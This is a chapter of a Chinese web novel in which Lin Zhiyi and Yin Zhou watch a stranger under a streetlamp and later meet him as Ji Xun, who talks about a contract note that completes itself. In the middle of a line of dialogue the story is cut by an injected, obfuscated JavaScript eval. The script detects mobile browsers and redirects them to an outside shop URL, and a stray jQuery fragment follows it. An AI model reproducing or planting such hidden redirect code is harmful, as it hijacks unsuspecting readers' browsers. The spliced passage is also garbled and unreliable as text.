傍晚，风停了一会儿。
林知意站在窗台内侧，殷昼站在她旁边，完整的身形正对着窗外。窗台外侧两件外套已经被收回去了，花盆边沿对着槐树方向，浅黄色发圈还系在枝条上。路灯还没有亮，暮色从灰蓝慢慢沉向深蓝，街面空荡荡的，槐树底下没有人影。
“他还没来。”她说。
“天还有一点亮。”他站在她旁边，视线落在槐树方向，“他说的是‘傍晚’。路灯亮起来的时候才算傍晚。”
她站在窗台边没有动。风又吹了一下，把槐树顶端的叶子翻动了一面。路灯亮了起来。暖黄色的光从灯罩里涌出来，先照亮了灯杆底部，然后往外扩散，把槐树底下的那片地面染成浅金色。
一个人影从槐树后面走出来。步伐不快，从树干的阴影里迈出左脚，然后是完整的身体轮廓。深灰色外套，领子立着，身形偏瘦，高度和殷昼差不多。他走到路灯正下方停住了，抬头看向四楼窗口。完整的面孔被路灯的光从下方照亮——一个年轻男人的脸，鼻梁窄直，颧骨偏薄，眼窝深陷。
他没有挥手，没有开口，只是站在那里仰头看着窗口的方向。停留了大约五秒，然后他微微侧了一下头——像是确认了窗台边站着的人在看自己。
林知意往窗台边挪了半步。殷昼站在她旁边没有动，但他的视线落在路灯下那个人身上。路灯下的男人低下头，把右手从外套口袋里抽出来，掌心朝上，摊开。掌心里放着一颗纽扣——深灰色的。和殷昼放在花盆里的那一颗一样。
“他留着。”
“对。他留着。”
路灯下的男人把纽扣放回口袋，然后转身走了。从路灯的光里走出去，走回槐树阴影里，沿着后巷方向消失在转角处。没有留下别的东西，没有多停一步。
林知意站在窗台边看着那个方向空掉的街面。“他看了多久？”“大约八秒。他数过。”她转身看着他：“他看了你，也看了我。然后他亮了那颗纽扣。他在告诉我们，他已经完全识别了你的标记系统。”
“他把纽扣还回来了。”
“但他没有放回窗台上。他随身带着。”
她站在窗台内侧，完整的身形被路灯的光从侧面勾出一道暖边：“明天傍晚你站窗台。我下楼。”
他看着她：“你一个人下楼？”她偏头看了他一眼：“你站在窗台上能看到楼下。如果他在，你抬手的时候我能看到。”
“抬手是信号还是动作？”
“是告诉我‘他还在’。”
暮色更深了。路灯把整条街面照得清晰，槐树底下的阴影缩成窄窄的一条。她转身走回客厅，走了两步，偏头看了一眼窗外——路灯下空空的。那个人已经走了，但他来过了，站在路灯底下仰头看了一扇窗，露了一颗纽扣。
第二天傍晚，林知意下楼之前站在窗台边又看了一眼窗外。街面空着，路灯还没有亮。她转身往门口走，殷昼站在窗台边完整的身形面朝窗外。“他来了记得抬手。”他没回头：“会。”
她推开单元门走出去。外面天还亮着，灰蓝色的暮色铺在街面上，她走向槐树方向。走到距离路灯大约五步远的时候，余光里看见右侧有一个人影从墙根底下站了起来——深灰色外套，和昨晚同一件。他站直了，面朝着她的方向，距离大约三步远。路灯还没有亮，暮色里他完整的面孔微微侧向她。
“林知意。”他开口。声音不高不低，和她见过的所有人都不同——不温和、不冷硬，像在念一个他知道很久但第一次发出的名字。
她停住了：“你知道我的名字。”“我看了契约纸的第七页和第一页。第一页有你的名字。”他往前走了一步，路灯亮了起来。暖黄色的光从上方涌下来，把他的完整身形照亮。“我叫季循。”
“季燃的弟弟。”她看着他，“你是她的弟弟。”他没有否认，也没有解释。“她取了影种之后没有回家。我替她补完了影种转移产生的剩余波动。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17710185|207374||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”
“你留在窗台上的纽扣、线头、指印——都是在和殷昼对话。”季循看了她一眼，没有移开视线：“他的标记系统是完整的。我只是确认它还在用。”
“你昨天傍晚站在路灯底下看了八秒。”他低头：“八秒是看清你们两个人都在窗台边需要的时间。你们都在。”他说完这句话之后没有继续解释，只是站在那里，路灯把他完整的身形照得清晰。风从侧面吹过来把他外套下摆掀动了一下又落下。
林知意站在路灯下看着他：“契约纸上备注'惧'的未完整部分，是被你带走的吗？”他沉默了一下：“那行备注在生成的时候就是空的。不是我带走的，是契约纸生成的时候就没有写完。但写了触发条件——触发之后它会自己补完。”
“触发条件是什么？”他看着她的脸：“触发条件是——契约眼先感到'惧'，然后持有人不在她视线内。备注就会自动补齐。”
路灯在头顶亮着，暖黄色的光把两个人之间的地面照得发亮。她站在他对面，完整的身形在路灯下轮廓清晰。“那你来这里，是为了触发它。”他看了她很久，然后低头：“我来这里，是为了让它补齐。”
他没有再继续说下去。他把右手从口袋里抽出来，摊开掌心——还是那颗深灰色纽扣，放在掌心里。“这个你拿回去。还给殷昼。告诉他：标记系统我认出来了。”
她伸手拿走了纽扣，攥在手心里。他收了手：“明天晚上路灯亮的时候，我会站在槐树底下。如果他也在窗台边，我会看到。”
他转身走了，深灰色外套的下摆在转角处被风吹动了一下。她站在原地攥着那颗纽扣，路灯照着她打开的掌心，纽扣表面泛着温润的浅光。她转身走回单元门。推门进去的时候殷昼站在一楼楼梯口，完整的身形在走廊灯光里被勾出一道暖边。她没问他为什么下了楼。她走过去，把纽扣放进他摊开的掌心里。
路灯在窗外亮着，把两个人之间的地面照得发亮。